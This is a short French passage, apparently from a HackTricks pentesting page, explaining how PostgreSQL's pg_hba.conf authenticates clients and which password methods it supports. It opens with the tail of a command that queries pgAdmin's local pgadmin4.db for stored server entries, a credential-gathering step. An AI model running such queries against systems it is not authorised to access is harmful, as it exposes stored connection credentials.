pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg_hba L'authentification des clients dans PostgreSQL est gérée par un fichier de configuration appelé **pg_hba.conf**. Ce fichier contient une série d'enregistrements, chacun spécifiant un type de connexion, une plage d'adresses IP client (le cas échéant), le nom de la base de données, le nom d'utilisateur et la méthode d'authentification à utiliser pour les connexions correspondantes. Le premier enregistrement qui correspond au type de connexion, à l'adresse du client, à la base de données demandée et au nom d'utilisateur est utilisé pour l'authentification. Il n'y a pas de solution de secours ou de sauvegarde si l'authentification échoue. Si aucun enregistrement ne correspond, l'accès est refusé. Les méthodes d'authentification basées sur un mot de passe disponibles dans pg_hba.conf sont **md5**, **crypt** et **password**. Ces méthodes diffèrent par la façon dont le mot de passe est transmis : haché MD5, crypté, ou en texte clair. Il est important de noter que la méthode crypt ne peut pas être utilisée avec des mots de passe qui ont été cryptés dans pg_authid. {{#include ../banners/hacktricks-training.md}}